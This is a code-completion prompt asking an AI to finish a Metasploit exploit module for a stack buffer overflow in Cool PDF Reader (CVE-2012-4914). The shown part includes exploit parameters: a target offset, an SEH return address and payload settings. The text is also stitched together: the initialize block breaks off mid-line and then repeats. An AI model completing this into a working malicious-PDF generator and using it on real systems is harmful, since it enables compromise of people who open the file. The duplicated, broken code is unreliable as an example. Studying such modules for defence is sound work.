You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: coolpdf_image_stream_bof.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/fileformat
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::PDF
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cool PDF Image Stream Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Cool PDF Reader prior to version
        3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that
        contains a specially crafted image stream. This module has been tested successfully
        on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'     
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cool PDF Image Stream Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Cool PDF Reader prior to version
        3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that
        contains a specially crafted image stream. This module has been tested successfully
        on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Francis Provencher', # Vulnerability discovery
          'Chris Gabriel', # Proof of concept
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-4914' ],
          [ 'OSVDB', '89349' ],
          [ 'EDB', '24463' ],
          [ 'URL', 'http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=70&Itemid=70' ]
        ],
      'Payload'        =>
        {
          'Space'       => 2000,
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3',
            {
              'Offset' => 433,
              'Ret' => 0x00539fa4 # ppr from coolpdf.exe
            }
          ]
        ],
      'DisclosureDate' => '2013-01-18',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The output filename.', 'msf.pdf'])
      ])
  end